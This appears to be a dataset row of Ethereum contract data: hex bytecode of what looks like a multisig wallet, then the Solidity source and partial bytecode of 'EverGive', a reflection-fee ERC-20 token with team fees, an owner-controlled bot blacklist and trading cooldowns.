5b156113ea576001820191505b8080600101915050611374565b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561143857600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561149257600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff16141515156114b957600080fd5b6001600380549050016005546032821080156114d55750818111155b80156114e2575060008114155b80156114ef575060008214155b15156114fa57600080fd5b600160026000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600380548060010182816115889190612c31565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561167c57600080fd5b60008385878a8c8e02020202021415151561169357fe5b6008549150610100604051908101604052808a81526020018981526020018881526020018781526020018681526020018581526020018481526020016000151581525060096000848152602001908152602001600020600082015181600001556020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c0820151816006015560e08201518160070160006101000a81548160ff02191690831515021790555090505060086000815480929190600101919050555061176d82611f48565b5081915050979650505050505050565b6000806000809150600090505b60038054905081101561185b576001600085815260200190815260200160002060006003838154811015156117bb57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561183b576001820191505b60055482141561184e5760019250611860565b808060010191505061178a565b600092505b5050919050565b600080600090505b60038054905081101561192d576001600084815260200190815260200160002060006003838154811015156118a057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611920576001820191505b808060010191505061186f565b50919050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561198e57600080fd5b6119f1600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660006040805190810160405280600481526020017f2c8cbe4000000000000000000000000000000000000000000000000000000000815250612a93565b91506119fc82612244565b5090565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611a5b57600080fd5b611abe600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660006040805190810160405280600481526020017f9d0714b200000000000000000000000000000000000000000000000000000000815250612a93565b9150611ac982612244565b5090565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b611b31612c5d565b6003805480602002602001604051908101604052809291908181526020018280548015611bb357602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611b69575b5050505050905090565b611bc5612c71565b611bcd612c71565b600080600654604051805910611be05750595b90808252806020026020018201604052509250600091508790505b600654811015611c9b57858015611c32575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80611c655750848015611c64575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15611c8e57808383815181101515611c7957fe5b90602001906020020181815250506001820191505b8080600101915050611bfb565b878703604051805910611cab5750595b908082528060200260200182016040525093508790505b86811015611d0d578281815181101515611cd857fe5b9060200190602002015184898303815181101515611cf257fe5b90602001906020020181815250508080600101915050611cc2565b505050949350505050565b611d20612c5d565b611d28612c5d565b600080600380549050604051805910611d3e5750595b9080825280602002602001820160405250925060009150600090505b600380549050811015611e9d57600160008681526020019081526020016000206000600383815481101515611d8b57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611e9057600381815481101515611e1357fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168383815181101515611e4d57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611d5a565b81604051805910611eab5750595b90808252806020026020018201604052509350600090505b81811015611f3a578281815181101515611ed957fe5b906020019060200201518482815181101515611ef157fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611ec3565b505050919050565b60065481565b60008033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611fa457600080fd5b600015156009600086815260200190815260200160002060070160009054906101000a900460ff161515141515611fda57600080fd5b60016009600086815260200190815260200160002060080160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061204f8461108e565b1561217f5760096000858152602001908152602001600020915060018260070160006101000a81548160ff021916908315150217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c667751983600001548460010154856002015486600301548760040154886005015489600601546040518863ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180888152602001878152602001868152602001858152602001848152602001838152602001828152602001975050505050505050600060405180830381600087803b151561216257600080fd5b6102c65a03f1151561217357600080fd5b50505060019250612184565b600092505b5050919050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156121c557600080fd5b600380549050816032821080156121dc5750818111155b80156121e9575060008114155b80156121f6575060008214155b151561220157600080fd5b826005819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561229d57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156122f957600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561236557600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361241a856128b1565b5050505050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561247c57600080fd5b8460008173ffffffffffffffffffffffffffffffffffffffff16141515156124a357600080fd5b6124ae868686612a93565b92506124b983612244565b50509392505050565b603281565b60055481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561250957600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561256257600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156125bc57600080fd5b600092505b6003805490508310156126a7578473ffffffffffffffffffffffffffffffffffffffff166003848154811015156125f457fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561269a578360038481548110151561264c57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506126a7565b82806001019350506125c1565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561283f57600080fd5b6128a2600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660006040805190810160405280600481526020017f64f65cc000000000000000000000000000000000000000000000000000000000815250612a93565b91506128ad82612244565b5090565b60008160008082815260200190815260200160002060030160009054906101000a900460ff161515156128e357600080fd5b6128ec8361177d565b15612a6857600080848152602001908152602001600020915060018260030160006101000a81548160ff0219169083151502179055508160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682600101548360020160405180828054600181600116156101000203166002900480156129cb5780601f106129a0576101008083540402835291602001916129cb565b820191906000526020600020905b8154815290600101906020018083116129ae57829003601f168201915b505091505060006040518083038185876187965a03f19250505015612a1c57827f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2612a67565b827f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008260030160006101000a81548160ff0219169083151502179055505b5b505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060065490506080604051908101604052808573ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020016000151581525060008083815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190612b54929190612c85565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600660008282540192505081905550807fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a29392505050565b815481835581811511612be457818360005260206000209182019101612be39190612d05565b5b505050565b61010060405190810160405280600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000151581525090565b815481835581811511612c5857818360005260206000209182019101612c579190612d05565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612cc657805160ff1916838001178555612cf4565b82800160010185558215612cf4579182015b82811115612cf3578251825591602001919060010190612cd8565b5b509050612d019190612d05565b5090565b612d2791905b80821115612d23576000816000905550600101612d0b565b5090565b905600a165627a7a7230582028c74f8ff0994fab697485f57c2d8dc768d52891f07508b7608c9d1e9fa012f20029
|
{"success": true, "error": null, "results": {}}
| 2,668 |
0x8815cd2470886dc867bd29c5b6e5a6c0e539482d
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract EverGive is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "EverGive";
string private constant _symbol = "EGIVE";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 20;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 20;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600881526020017f4576657247697665000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4547495645000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fff